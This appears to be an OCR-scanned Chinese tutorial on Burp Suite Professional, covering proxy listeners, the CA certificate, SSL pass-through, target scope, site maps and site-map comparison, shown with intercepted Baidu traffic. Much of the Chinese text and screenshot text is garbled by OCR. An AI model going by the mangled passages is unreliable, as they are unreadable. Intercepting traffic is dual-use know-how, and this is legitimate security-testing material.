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Welcome to Burp Suite Professional. You can use this web interface to access the Proxy history, download your Burp CA certificate, or configure your browser (via
the Firefox plug-n-hack plugin).
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No proxy listeners are currently running - go to the Options tab to enable a listener

Drof Interceptis on |

Raw Params Headers Hex
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Target | #7000 | Spider | Scanner Tlnlruder T Repeater T Sequencer TDecoder TComparer T Extender I Options | Alerts

J leteepl | HTTP history | WebSockets history | Options |

Response from http://baike.baidu.com:80/ [111.13.12.147]

[ Forward J { Drop J Interceptis on | Action Comment this ite E'.J U
Raw | Headers | Hex | HTML | Render

HTTP/1.1 200 OK I

Proxy-Connection: keep-alive L)

Content-Type: text/html|

Date: Wed, 23 Mar 2016 07:22:12 GMT
Server: Apache

Tracecode: 13321237920289874954032315
Vary: Accept-Encoding

Content-Length: 73644

<IDOCTYPE htmi>
<I--STATUS OK-->
<html>

<head>

<meta charset="UTF-8">

<meta http-equiv="X-UA-Compatible” content="IE=Edge" />

<meta name="description”

content="EEERE—FATHHR. BHNNEERES  SEWUE—NRERFFEITENR , RESFAAE00NAAPNFCIMEEReS,. EXBFAUSSHERE  SERAHFOMMA. ">
<title> AEER_2EEARRERLB </title>

<meta itemprop="name" content="HEBF_£KEXFIERIEH">
<meta itemprop="description"
content="EEBRE—FATHHR. BHOMREERES  SEWUE—RERFFERMINR , RESFEEI0NAFPNFCIREER 2. ExXBFRAUSSHERE  SZRRHFINA. ">
<meta itemprop="image" content="http://baike.bdimg.com/cms/static/baike.png">
<script type="text/javascript">
void function(g.tj.c.h.d.b){g.alogObjectName=h,glhl=glhllfunction0{(glhl.q=glhl.qll[D.push(arguments)} g[hl.1=ghl. |||+new
Date,d=f.createElement(j),d.async=10,d.src=c,b=f. getElementsByTagNameu)[O] b, parentl‘ de.i tBefore(d,b)}(wil "script”, "http://img.baidu.com/hunter/alog/alog.min.j
s","alog").void function(){function c({return;}window.PDC={mark:f ){alog(“speed.set”,a,b||+new
Date) alog.fire&&alog.fire("mark")},init:function(a){alog("speed.set”, "options",a)}, V|ew start:c tti:c,page_ready:c}}():void function(n){var o=!1:n.onerror=function(n,et,c){var
i=10;return!e&&/Mscript

error/i.test(n)&&(o?i='1:0=10),i&&alog("exception.send ", “exception”, {msg:n,js:e,In:t,col:c}),!1},alog(" ption.on”, "catch " fi i log(® ption.send”, ™. ption”,{msg:n.msg,js:
n.path,In:n.In,method:n.method,flag: "catch"})})}(window);
</script>

rticle, aside, audio,canvas,datalist, details, dialog,eventsource, figure, footer,header,hgroup,mark,menu,meter,nav,output progress,section, time,video “.split(", "),
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GET http://baike.baidu.com/ HTTP/1.1

Host: baike.baidu.com

2roxy-Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*:.q=0.8

Jser-Agent: Mozilla/5.0 (Windows NT 6.1) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: BAIDUID =F829F IF295BEA4D07874AA3 SAFTEFBS:FG=1: PSTM=1458717351: H_PS_PSSID=19411_1456_192!
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Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner [ itruder | Repeater I Sequencer T Decoder Icampsrer TExtender Options | Alerts ]

[ tercept | i istory. | websockets nistory | Optons
‘ Fiter: Hiding CSS, image and general binary content ‘ L’J
# 4 Host | Method | URL [Params | Edted | Status | Length | MMEtype | Extension | Tte | comment [sst | | cookies

1 niipiise sapiso.com GET  Is7q-bakedsrc=se @ O 200 1000  text O 10122612226

2 nttpibakeba GET  ffaviconico 8] o w2 W HTHL ico 302 Found O 611912064

3 nttpiisearch.114so.cn GET  /search_webhtmPi=1108kw=bakeba @ O 32 s T htmi O 2212352554 SoV=1; soKey=494..
4 nttp/idachang 114s0.cn GET  Izy2Pid=1108kw-bakebaSs=ahsh=4. (& O 200 32080 HTML 1Maues [ 594425211

hip:/iupext chrome. 360.cn GET fntfphp?method=Extlpdate querydos=.. @ o 200 a9 XL phe O 6119011275

6 hipiiseappstat3sOsafecom  GET  lqhimPnamespprocisever=7.11644k. (@ o 20 209 HTML htmi O 10612016890

7 http://se.360.cn GET Isetm/setm.html 8] a 200 2134 JSON html @] 150.138.214.83

8 http://site browser.360.cn GET /msgmodel. php?mt=[%22ssrc%22] [t)] o 200 2524 JSON php O 106.39.219.24

< = ¥

Request | Response
Raw | Headers | Hex | HTML | Render

HTTP/1.1 200 OK A
Server:nginx/1.2.0

Date: Wed, 23 Mar 2016 12:23:07 GMT

Content-Type: text/html

Vary: Accept-Encoding

X-Powered-By: PHP/54.18

Powered-By-ChinaCache: MISS from 01057293SB.2

Powered-By-ChinaCache: MISS from 01012193SD

Connection: close

Content-Length: 31795

<IDOCTYPE html PUBLIC *-//W3C//DTD XHTML 1.0 Transitional//EN" py//mwww3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlnsz"http://wwwvxs org/1999/xhtml "> 14
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These settings control some specific details of Burp Proxy’s behavior. You can change the default settings here to deal with particular problems or situations.
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P

> [C] E=AIBEBIRATIG
> [ FEEA

> [0 BftA

> [E ERHREE

> [ BREEEEENR

LT T T
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L S - BHAET TS ERE A < h ) By
“i XiHF) BEA) BBWV) @O BOW ®RMH) - & x
oo 2@ & LIXD =2 BHE
Er | gma : o = zmay [mr
B - EmEe | ZJDO_NOT_TRUST FiddlerRoot DO_NOT_TRUST FiddlerRoot  2025/4/9 maHs | & -
| B roriswigoer CA pueeseemmmm—9 CA 2034/68 _ <F#~ ]
= PortSwigger CA 17(0) CA 2034/6/8 Lt ] ERSE »
+ ) BEEOREBTENIS FRESK PoctSwigger.CA 2
1B EEEE »
| RAMERE =M
REEBRETIG %0
] Active Directory P78 | Bie(D)
| BEENESE
R OREAGES BER) i
« ] R=ARESEET REN(H)
N3]
1 BREA I
« [ REA !
1 &S
| EBiiAaR
| BEFEECOR
[ ’ | [ ’
e =aEE,

6. IXHF, FRERFIRIE WEIRPERSIRE, WASHEERWMERFER T .
T IE 24, HAhr w2 tn FireFox. Chrome. Sarifa Z5#E 5 [t 2225 Fn i 2 58 A KA,
B AVERT AT LALL IE /) CAIEP23EE NS,

Proxy IHrix &

Z3A11)A 5 Burp Suite I, BRIA 2 WEWT A3 [=1 2% My 0k (¥) 8080 i 1, BRitbz Ak, FATTH AT AFE
BRI LA b, ARIEIRATE SRR, X Urm DOAIE S SO AT A R E . Fe e
A FATIN AR 2% LTI 5 To (8 v A QR 0 5 325 0 P i i 55 s i 435 O 5K
e, ZMERT, WA ECH Proxy Tk E, AL HBAGE.

Proxy YiHT % &



l Intercept T HTTP history I WebSockets history T Options ]

QJ Proxy Listeners

Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one ofthe listeners as its proxy server.

(@)
| Add i Running | Interface \Invisible \Redirect | Certificate ‘
127.0.0.1:8080 Per-host
L)
Edit
>
Remove

CA certificate ...
APAVESLPRE A, P RER 2 A I A F R R R P, JRATTAT BLad i i E AN R A AQEE
B, RXAFERNM R, Proxy Wl RIS AUXFERIhRERE . mdiEH K [Add]
%L, =¥ Proxy Ml s EXEHE, HIAAEFE RRE, eI R IHKT R,

Proxy Wi &+ 245 3 HhIIEE:

1. % AT IP 46 5€ % & Binding 485E 1% 11 port /&35 Burp Proxy AR 55 WWT s 11, 4%
SEIP MhE MU . BT, fRE bt =M, ABEIRT, TRk
WEFPRE =0, RFEEI A — &, MRIERIIAEA LR 1P HhhER, R RSE A
Fo B AT LA U ) R 14 S W b



2. 53K 4b L Request Handling 17 >R b2 3= %22 F SRk il 252 21| Burp Proxy YWy st 1 >R
Ja, WERRHE REFEAT AL HL ) -
r‘ Edit proxy listener s ]

Binding | Requesthandiing ] Certificate ]

| > | These settings control whether Burp redirects requests received by this listener.

Redirectto host:

Redirect to port:

(] Force use of SSL

Invisible proxy support allows non-proxy-aware clients to connect directly to the listener.

[ ] Supportinvisible proxying (enable only if needed)

ti oK J[ CanceIJ

HEMAICE R b DR EVLAARZ Kk il SSL AR EE 4 4>
oy e MBACE 1 o D I, B P SR AR 2 4 i A 303X AN 1 b an SREFRATTHD
BTN R, WATE R SRS R B8 N ENLEIRA b [, 3 AT02
fe 5, 8L Burp Proxy [fI¥H B e momiil i SSL, R ®E 7 Ui, WER#E 2 http
WY, 2 Burp proxy fUH 5 K540 https P . B ACTE 182 TR & 2 i B
a2 e AR 0N A, MIRATEE T, Ui X B i, R i 3R
FI7 R, EHEERE Burp Proxy MW .

3. SSLiEP5 iX b B i RINLS SSL &/ i 45 4% SSLAET5. AT AR oA FH 2 A R i
28 SSL ) . 18T LLIH BRGS0 e 28 1) SSL ), 75 Z sy SSL #il4t.
Hodr, MTUnESk B HAIR Y SSL R IIIE , AT DA CRIX L IEAR N E B W AS 1T
AN BRNFEMRTh 2 H ) SSLIE. 2.0 L5164 ALK SSL Ik 533 3 iRk
KR PN AR LE. ©f Rkt E .

4. fFFHE%4IET (Use a self-signed certificate ) —— — M8 2544 SSLIEF &
L AR, TREES S SSL &S,
5. EEEA T CAZ4IET (Generate CA-signed per-host certificates) —— X &2k

N HED. 7EZEAT, Burp QUi T —ANEBEI E S IEBAURBLE (CA) T, I
PERFBIHL I . AR5 H B SSL MERES5E 1ML, Burp 4% E LI SSL i
T, BICATENSE 4. AT BA%EE Burp (9 CA HE T AE Iyl 1 28 02 (5AERR, TS
1A W T35 (LTS 32



6. A EREMENSL CA ZRINIET (Generate a CA-signed certificate with a
specific hostname) —— -J&ZRALF FITH LG A F 52, Burp 24— ENLIE
Lfp—/~ SSLEHAMH, MHfEErFENA.

PKCS#12 #&3) I WA ﬁu%fﬂ%%ﬂ?ﬁﬁﬁﬁ /\CF%EE’JH&R%ME%
B wn, 54 %Fy) S B0E e Eﬁ%)ﬂmf“ﬁﬁﬁﬁﬁ/\@ﬁo

SSL EIEMEEACH

SSL H#ERE FEM T e i B RS 48 EE0E T SSLIER:, 1M i 1 S 314 42 (1) 37 =K 2l
NATATEH K AE Burp AREEFEEAL B 3 HAE AT W, J8id SSL &A% ] LAIEAS 2 3] 5
HIHBRIER P HL L SSLAHRIEM NA . thanid, EHdT SSLIEHHIBsNH . WM
TR 0 2 AN, B#EH HTTP Al HTTPS SR AR &, ?fs)’a’ﬁﬁ SSL E# EIREE M AL
AT SRAE A B8 LA IE 3 1977 X8 A Burp (9 HAh 7 AT 3845 . 058 A B 3hisin& F im SSL
PR I IR T, 2R P i AR M) SSL BRI (B an, BT AN Burp B CAET) , IF
2 E PR IR S 238 N3 SSL BLEIE L R & . HAR B i N AR

(2] ssPass Trough
‘ & These settings are used to specify destination web servers for which Burp will directly pass through SSL connections. No details about requests or responses made via these connections will be available in the Proxy intercept view or
= history.

‘ Add J Enabled ‘Host/lPrange Port |

\_ Edit |

| Remove

| Paste URL

| Load.. |

@ Automatically add entries on client SSL negotiation failure

AW, EEECE B KA, B TR AR E R s RS AT
FEW VA3 Z AR P, X SRR A S A B HTTP AR @t e T M %%
B, &P ok ey A BB A a3 ek AR TS . 76 Burp 1, AR LUE A BRFAR
B 775, Xl E A A T AR B R, AT AE B SRR R B AT A b 8 FH BRI
AR 3 T B R % E (LA https://example.com 241D« 1.F# hosts 344, Windows #
E%& 4 T HFALE Windows/System32/drivers/etc/hosts, i Linux B{# Unix T ) H 3%
“Hletc/hosts, NN RAT:



250 BB, TATH BRI — B R TRIZATIE HTTP BRIA 80 3511, WIHLE
(SR HTTPS #hil, W3 1%y 443

3IRFE HTTPS PRl id 573, FANR & Ma e 4 1 CAESS.



E  Edit proxy listener u

| Binging | Requesthandiing | Certiicate |

7 | These settings control the server SSL certificate thatis presented to SSL clients.

() Use a self-signed certificate
(_) Generate CA-signed per-host certificates

@ Generate a CA-signed certificate with a specific hostname:

example.com|

Q Use a custom cerificate (PKCS#12):

| File Selectfile .

i Password

l 0K H Cancel J

A, FRANTEE Burp AR ER KA JFMETE R PRS2 . X TEZALE Options-
>Connections->Hostname Resolution 17 % &. FAEANICE SR TH#IE RS,
example.com ¥ Witk 7E 127.0.0.1 k., FrLAFRATL 40 F Burp, # example.com it &
R B LS RS AR AR L 25

5.
W XA BCE, BATHURT DA s % R, R RIS Burp MU RS H L b
Burp R it 5% K 45 LIRSS 4%



5 HE Wi A Burp Target

Burp Target 4114 B &l A, HArik. Target TE =304, A1 BEE MR A
OB T AR B AR R B REACIR GG AT AR SR B AR 2 AT BEAT R B B T A
SH, TR PR EF Burp Target [ =N -

AR EENEFA:

H bri 15 & Target Scope
vl i Hi ] Site Map
Target T HL1¥{%H

H bri%i% & Target Scope

Target Scope FEH I E AR Tz, WHERKUE, HIATR A= ST &R, 77
PL B4 B LA PR AR N 2, X B4 B BN A R FRAT U A 3 SR 3kAT]
PR HIAF S NgRi B AL, tetn, PR RABEAA login B3R FRIFTAE R, X0 FoA 11 AT DAZE %
E, e, EREE H . SAcki, Target Scope = EAd AT N LA R

BEL sl 3t 55 M AT Proxy 7 58 1 ) SR o 45

B EF Burp Proxy $2ARMF L6155k

Burp Spider $TUHHELL Py 75

Burp Scanner H shf W L F 35011 % 42 i
i 7E Burp Intruder F1 Burp Repeater H 15 i€
URL



iEit Target Scope A THE 7 @z H| Burp HIFEAGTE R, BAEXT %R, 180 TR g
Target Scope )& &EH, FEMEZHH D IIEE:
‘ Site map | Scope

FEVFR AN 25 B AR o

Ho fE

@ Target Scope

G Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. All fields take regex strings. The easiest wa
exclude URL paths.

Protocol

—

Remove

I

Paste URL

[

Load ...

=

Host/ IP range Port File
b
ide
l Add | Protocol | Host/ P range | Port | File
Edit
EhRAN

Horp e P42 B, RV & AR RN B R A 1y, MONERAE SRV AR W R F

LG R R BULEC R S M AR P B s Rz, ESRIHE VLS 5 BREIR R

AR

-
E Add URL to include in scope

o

Protocol:
Host or IP range:
Port:

File:

Paste URL l

| Specify a regular expression to match each URL component, or leave blank
to match any item. An IP range can be specified instead of a hostname.

[Any

)

Enter regex

IP range or leave blank

far ravsny |
nter recex or
Enter regex or |

1]

51

| OK || cancel |

ML B A

FRRHERE R AT LAE BN =B s S4B 1P bk 3w L SO 44 4 AN 4R
KB RERATAT DU AP Huhk, 3 T SCPEA 4 ANYESE Zeda il e ey 2 ILTE
FEVF B L BRI 1R



MIATEE T Target Scope  (BRINEF ALY » £ Burp Proxy SH7CHFAHEL, 7EBE
D A 0 VE A AR R W SN B, Burp 2 H B (S Bl TR, 88— MR
MNEWIFEAGEE, PRAFTE Target v it &

i S ] Site Map

B Rk S E O — oGS g A, I8 ) B ) B R 7 SR 0 S A s e R v ) e IR
R

MEFRIRATAT LA Y, Site Map 1230 815 A1) URL, 32 B8R 3G ) JZ AR, A o B
AL ZR G S5 R AR IR HARR ) url 500 AL B R AR A url Bl R AR5, 3t
U5 RS url, ESRAINEAF SRR A, WAEBEELRMILR. SETAANRMEEN, &
ITA] PLEFEREAS 7250, W E U ER AR REAT Sl AT .



E' Burp Suite Professional v1.6beta - licensed to LarryLau
Burp Intruder Repeater Window Help

RG]

_J:Iagggt] Proxy I Spider T Scanner Tlntruder T Repeater I Sequencer T Decoder I Comparer T Extender TOptions TAlerts ]

Scope

Site map

| Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

» hitp://imusic.baidu.com

: : Host Method | URL | Params | Status Al Length
: :2"; ”9‘“’?'“3:9;"”’ hitp:/Awww_kuwo.com GET  findex_entml ] 200 11732
P Angng heicl.com http:/Awww.kuwo.com GET |/ (] 304 204
» hitp:/tieba.baidu.com > 3 5
S http:/Awww.kuwo.com GET  Ipiclabstand.gif (] 304 180
f hﬁ":”’ : f° '°°’: " hitp:/www.kuwo.com GET Ipicfiashienglish.gif O 304 180
g httpjl\l/jp SRR IS ALE0 hitp:/www. kuwo.com GET  Ipicfashigerman.qif 0 304 180
hﬂp:"wba:’”;"_'; hitp:/www. kuwo.com GET  lpicMashhg_indexiaif  [] 304 181
B ipweny. ,a' Hcam http:/fwww.kuwo.com GET Ipic/flash/hg_oben.gif O 304 180
» http:/iwvww.baidu.com ; g :
e hitn-hwww kuiwg.com GET Ipic/flash/hg_unten.gif O 304 180
le KUWOCOM| ity www. kuwo.com/ com. GET foicflashioao.aif (1 304 181
[ aktuelles_e.htm SulsSeepe o
[ anfahrt_e.html piac C

[ anfrage_e.htmi | Actively scan this host

rs | Hex

[ anfrage_senvice
[ einzelkompone

Passively scan this host

Engagementtools

Not Modified
ar 2016 08:01:25 GMT

[ entwicklung_e.

[ ersatzteil_e.htm
[ ersatzteile_e.htq
[ impressum_e.H
[ index1.html

[ index_c.html

[ index_e.html

[ jobs_e.html

[ kontakt_e.html

Compare site maps
Expand branch

Expand requested items
Collapse branch

Delete host

Copy URLs in this host
Copy links in this host
Save selected items

jon: Keep-Alive

eout=2, max=1000
-1335-4f35029c0f5bb"
ncoding

[ module_e.html

v [ pic

Site map help

[ abstand.qif

AR, FRATTH AT LUK SR AN B 2 N\ Target Scope H.



Burp Intruder Repeater Window Help

J Target ]'Proxy ] Spider TScanner T Intruder T Repeater T Sequencer TDecoder T Comparer T Extender TOptions T Alerts ]

Site map l Scope

Filter: Hiding not found items; hiding CSS, image and general binary content, hiding 4xxresponses; hiding empty folders

» hitp:/music.baidu.com : Host | Me—mod ) URL ‘ P::«lrams | St-armvi-l;ng—tﬁ |l\_MME

> httpf‘:‘:n.ewg,jsa|cg.r:m1 http:/Awww kuwo.com GET findex_e.html [:J 200 11732 HTML
> http.uqmgtansa|du.com http:/Avww. kuwo.com GET ] D 304 204
> hﬁpz.vﬂﬁesa baidu.com hitp:/www.kuwo.com GET Ipic/abstand.aif O 304 180
s L e hitp:/Awww.kuwo.com GET Ipicfflashienglish.gif (J 304 180
s el http:/www_kuwo.com GET IpicMash/german.gif (] 304 180
: Egph “3'?“?‘”“ hitp:/www.kuwo.com GET  /picflashhg_indext.gif [ ] 304 181
p"“Nem‘u'“_a'c“'mm http:/fwww.kuwo.com GET Ipiciflash/hg_oben.gif [ 304 180
> Filp dwww-baidu:com hitp:/iwww.kuwo.com GET  /picMlashhg_unten.gif (] 304 180
i DWW, KLW0.Com GET Inicflashiloqo.aif 1 304 181

http:/imww.kuwo.com/
Bl Addto scope

Response

[) an| Spider this host
g an  Actively scan this host Raw | Headers THex THTML TRender]
an : -
0 eif Passively scan this host rP/1.1 200 OK
D) snchoagetmen oo P Le: Tue, 29 Mar 2016 08:01:32 GMT
O er Compare site maps ver: Apache
[)er{ Expandbranch t-Modified: \Wed, 26 Feb 2014 14:38:50 GMT

g: "6f80b5f-2c9e-4f35029c24d7b"
rept-Ranges: bytes
ry: Accept-Encoding

[ im| Expand requested items
[ ind Collapse branch

L !n Delete host htent-Length: 11422
L1ind - copy URLS in this host p-Alive: timeout=2, max=1000
[ jod Copy links in this host xy-Connection: Keep-Alive
g “O1 save selected items ntent-Type: text/html
m

v I3 pi Site map help s

% 7 I Target Scope 4k, M LR, FATHWATLIER], X FulfmdtEfy =, wLlid
I BARITIRIE, ok i ai .

Target T HF{#H
Target T F A (048 A 3= ZLA0FE DL T #847

?I?ftﬂlﬁﬁ,mf@@l
fi kL ELE Bl
éﬂ‘ﬁ

HIRATTF IR s SO RNy, R EEE DL EP IR LR E N S 2B Burp Proxy 1R
B, R geiEs TAE. 2.9¢H] Burp Proxy FI#:#ishae. 3. FLuWEM L, XK, Target
2 HBhidsu T EE R . T IRBGH s B 7 208 — N, BATTUAREE &
(G AT, BTN, ek iE R RE . S5 A ZREEEL, W
KB 1], W FR ELSFm N = i RS KRB 28, WX RE M) DI fe sK IR — ik
JIr 55 2 (RAS 7 AR TR 6B g DN DRk A H S R AR R

vl BG4 Burp SR BB MINAN GO0 ol AT S A IR 4%, BRATIAE ELERIK 5 AL
IR EE. JEAEMMA RS, EHARPKS, WKS5AS RN R 55N
T AFRIBR, AWK Fraedi n I setis, AR, SEEEAGE AR, B 5

DN



HEL, BRARGFIH NS E NN R X o ok — ki, FEALLT 3Fdg5:  1H—Mk
T, BAARRBR, WENIGERGRNZER. 20D AERKS, BAARKBER, L
BMARE RN ER . S DARMIKS, BAMFERBER, BN IGAERE R ZE R



Burp Intruder Repeater Window Help

AT SRR A TR T 3 A L

FREh PR, RN 2

L S BAME TR 2t AT LR A Th e 4% oAy,

JTm | Proxy [ spider [ scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | options | terts |

Skm Scope

Fiter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

> http://wubi.baidu.com : Contents
: :zz ;::j:j:’ :;p?:; - Host Method | URL | Params | Status & | Length | MMEtype | Tite | Comment
» | b http://www.baidu.com Dl {ww: Baklis comBCEY, b o 302 683 HTML 302 Found
ve hitps://www.baidu.com https:/fwww baidu.com GET Iv.php?tag=vmpaccess&... /] 302 663 HTML 302 Found
> &/
[
> @ baidul @ hitps:iwww.baidu.comiv.php
4 cacfue Remove from scope
1@ pog Spider this branch
» B auty Actively scan this branch
> B gaoj Passively scan this branch j—‘T
[] home. Send to Intruder Ctrl+ —x
» [ homep| Send to Repeater Ctrl+R m
» [ img Send to Sequencer
v s Send to Comparer (request)
e Send to Comparer (response) 54 20 2f 76 2e 70 68 70 20 48 5S4 54 S0 2f GET /v.php HTTP/
D fink Show response in browser 31 0d Oa 48 ef 73 74 3a 20 77 77 77 2e 62 1.1Host: www.b
> B maw® Rorucst 1 browses < 64 75 2 63 6f 6d 0d 0a 41 63 63 65 70 74 aidu.comAccept
» [ more Engagement tools 2a 2f 2a od Oa 41 63 63 65 70 74 2d 4c 61 : **Accept-La
» [ nocac pr————— 75 81 67 65 3a 20 65 6e 0d Oa 55 73 65 72 nguage: enU‘ser
» 00 r 67 65 6e 74 3a 20 4d 6f Ta 69 6c 6c 61 2f -Agent: Mozilla/ Y,
O robots D e 3 20 28 63 6f 6d 70 &1 74 69 62 6c 65 3b 50 (compatble;
v @ s Expand requested items 3 49 45 20 39 2 30 3 20 57 69 6e 64 6f  MSEQ9.0; Windo
» B searci Deicte ke 20 4 54 20 36 2 31 3 20 57 69 6e 36 34  wsNT6.1;Wine4
» B shifen Copy URLs in this branch 78 36 34 3 20 54 72 69 64 65 6e 74 2f 35 ;xB4; Trident/s
= Copy links in this branch 29 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a .0)Connection:
O uiink Copy as curl command 6c  6f 73 65 0d 0a 43 6f 6f 6b 69 65 3a 20 closeCookie:
» [T ups Save selected items. sf 4c 41 53 54 Sf 51 439 44 3d 31 31 34 31 BD_LAST_QID=1141
% v.php Issues > 39 33 37 33 33 33 31 33 36 3 35 31 30 37 9293733313635107
P a—— Vw > 42 44 5f 48 4f  4d 45 3d 30 3b 20 42 44 S5f ;BD_HOME=0;BD_ v




2.1 T3k SR AR P AN A B 2 (BT, B ARATIAE L B S A2 75 24 Sl 6 2 Site Map
1 Fil Site Map2. J@HHSL T, Site Map 1 JATRN =il WmERR, i [Next] .

E Compare site maps

EIIE]V » N

LZJ Site Map 1

Select the source to use for this site map.

~=>® Use current site map

' (U Load from Burp state file

\ \

Cancel 7Ne7

3K HAT BN Site Map 1 BE T, WK 2 4uli i LEAGIRA TIEREER — T, A RAUANL L AL
AT R ThEE, MR 0. WA, sdr [Next] o dnSRamuli fi b, HAEINERE
il gy, FRATAT L2 ik R 3k 3% 2 AT
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e it
‘\‘ ompare site maps

@ Site Map 1

Specify the items to include in this site map. If you want to re-request the site map in a different session context, you should restrict to in-scope items and also ensure that the defined scope
excludes any requests that modify that context, including login and logout.

i3

(O Use all tems with responses
' —= (@ Use only selected branches

([J Include in-scope items only

e

4 FE R ke Site Map 2 HIBCE, *FT Site Map 2 BATEREE R T, M2 2 i8]
O ZLRAF FRAT Burp Suite ¥ fid sk, 58 R E T R AR —IRIESRIE N Site Map2. X B, &

i 28 —Fpr ke

2 o —
E Compare site maps

o5

@ Site Map 2

Select the source to use for this site map.

(O Load from Burp state file

—=p (8 Request map 1 again in a different session context (configured in Options / Sessions)




SR b bl 1 AT, MIBEAGE R R B A . XS, AR BRI
WFF R AR R, R AL, 5 A R R 1)

‘, Compare site maps

==

@ Site Map 2

Specify the options for re-requesting the site map. Ensure you have configured suitable session handling rules for the target tool, in Options / Sessions. These rules will be applied to
requests when re-requesting the site map.

Number of threads: 5

Number of retries on network failure: |3

Pause before retry (miliseconds): 2000

. Back Next

6.1 B 5¢ Site Map 1 il Site Map 2 2 J5, ##t NG RE S ILAL R E . XS, AR
3 URL U842 Http iR 7730, 15 RS8. B3Rk, 153K Body RXFVLHEC & kAT it
‘I)A:g:o
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E Compare site maps LE]EE‘

L’)J Request Matching

Select the items on the basis of which Burp will match individual requests in one site map with requests in the other site map. The default settings will work effectively for most situations.

[ URL file path (required)

@ HTTP method

I @ URL query string

() Match parameter names only
() Ignore these parameters:

Edit

[ Request body
[ Match parameter names only

@ lgnore these parameters:

't, __eventvalidation, __ viewstate Edit

(] Request headers

| Iignore these headers

cookie, referer, user-agent Edit

Back Next

7. W BVERILEC AT, BRSO E R M. XTI, AT CL B RLe Y&
PAs e FEMTIERN . MTFEBRMTUEY, FEAmWNK. form R, .
MIMEZEH . iidi [Next] .

- I _ _ I )
E Compare site maps @M

?| Response Comparison

Configure the options below to determine how Burp handles certain features of responses when performing comparisons.

Respeonse headers
@ Include headers

I @ Except for: |ite, etag, expires, last-modified ... Edit

(U Exclude headers

Edit

[J Except for: | tent-locat

on, location, set-c

Form field values

@® Include form field values

[ Except for: |t, __eventvalidation, __viewstate Edit

() Exclude form field values

[J Except for: Edit

Whitespace
[ Ignore whitespace-only variations

MIME type
[ Don't compare non-text content




8. WK AT AR X At AT by,  HoZk# 8 k2B —IR1EN Site Map2 (117520, 5
T ARG AR > AME SR R BRI L, Ui R DD R SR I BEIE R, AR PR AL
B, WKL,

e — — —
", Compare site maps = | =)
L?J Fitter: Showing all items |@ Key: [Modified| |BEIElEdl Added @ Sync selection
Map 1
[ https://www baidu.com Host | Method | URL Al [Request TResponse]
hitps://www.baidu.com GET \ Iv.php \
ppD . A A o o
s e com 1 GET11 phgragevmpaeeasaal | _| Row [ hescers [ hex [ vt [ rencer |
_2_0301_CO11_N_II0;expires=Thu, A

31-Mar-16 12:24:20 GMT;
domain=www.baidu.com; path=/

<IDOCTYPE HTML PUBLIC

“-//IETF//DTD HTML 2.0//EN ">
<html><head>

<title>302 Found</title>

</head><body>

<h1>Found</h1> v

<% =7 o TS L;J u u u Type & search | 5 highlights

Map 2

[ https://www.baidu.com Host | Method | URL 4| [ Reguest I Response ]
https:// baidu. GET Iv.phy
m = ucom T w:!; gevimpaceessal | _| Raw | Headers | Hex | HTML T Render ]
31-Mar-16 13:27:02 GMT; [a
domain=www.baidu.com; path=/
v

e = >

l Change options. J L Close J

9N EFEFRATAT LAE R, sl LRI S e i pE Ay (XA yEas 5 HoAth i JE 2 AT A 7
A, HAAEER) , FEEAE. . A=Y ZNiERNEEESZR, HIEh Site
Map 1 1 Site Map 2 FJH 2id5%, AU RNHEETEMER . HIRATERE Site Map 1 H447H Eid
&I, BN B3NS Site Map 2 526 RIEsR, XA A EAR [FEZIEE] Ak
R, [FR, EADEE R, 2 HZER Site Map 1 5 Site Map 2 i8{57H B %
S, A EERIE BN, A2 R R T AR bR K.
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|

GJ [ Fitter: Showing all items | @ Key: - - Added [ Sync selection

Map 1

[ https://www baidu.com Host Method | URL A Request | Response |
Diibe vvatare ot gl L _@Headers Hex | L | Render |

_2._0301_CO11_N_II0;expires=Thu,

31-Mar-16 12:24:20 GMT;
BERbHERE domain =www.baidu.com; path=/

AR 1 <IDOCTYPE HTML PUBLIC
HBERE “-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>302 Found</title>

</head><body>
<h1>Found</hi1> =
S ~7 > ? < + > Type a search \ 5 highlights
Map 2 HEFAX 1
O https:/iwww.baidu.com Host | Method | URL AI Request | |

https://www .baidu.com GET Iv.php

[ Raw | Headers | Hex | HTuL | Render |
31-Mar-16 13:27:02 GMT; A
| domain=www.baidu.com; path=/ ~ | [

<IDOCTYPE HTML PUBLIC

» SACTCINTO L ITARL YN IICRI=. .

[<\& =7 TS uJ EJ EJ EJ | Tvpe & search | 5 highlights

[crrseapons | o |

Wi 0 #2 Burp Suite 32 H. T B (Engagementtools) F1f{Thft, XHIRITGEER
Analyze Target ffi [, HALMIIRESEmBE M CE T AR, 1955, WATE 6 S E,
FTJF Analyze Target, &R,

2AEF AT A, FATRER FIMEAL. 303 URL. #4& URL. S84 ML



‘fé. Target analyzer | https://www. alduF T e

Summary T Dynamic URLs T Static URLs T Parameters ]

@ Number of dynamic URLs: 12
Number of static URLs: 52
Total number of parameters: 60

Number of unigue parameter names: 54
Note: This analysis is based on the current contents of the site map, and no new reguests have been made. Only parameters within the query string and

request body are included in the analysis. URLs identified as “static” are those which do not take any parameters, though their responses may still be
dynamically generated.

Save report

U
SR R AT A URL &, #1485 URL $E. S8 8. ME—HSH4
¥ OH, WX EE, BATY YHTs A AR L K T . 4.30F URL MK R
B a1 URL R AN ZE S, BREARM THEBM, HRERE—FKEER, ThH&E
TNV B TEAAE S
BTToret analye TR il oy .|

Summary | Dynamic URLs T Static URLs T Parameters ]

Host 4| URL Method Params
https://www .baidu.com ! GET 1
https://ww w baidu.com /baidu.html GET 1
https://wwew baidu.com /gacjipreferences.html GET 7
hitps://www baidu.com fis/bdsug.js GET 1
https://www.baidu.com flink GET 1

[ https://www baidu.com Inocache/fespla/s. gif 2
https:/fwwew baidu.com Is GET 36
https://www baidu.com lulink GET 1
https://www .baidu.com lups/data/gettips/ GET 2
hitps://www baidu.com lups/submit/addtips/ GET 2
https:/fwww baidu.com Iv.gif 4
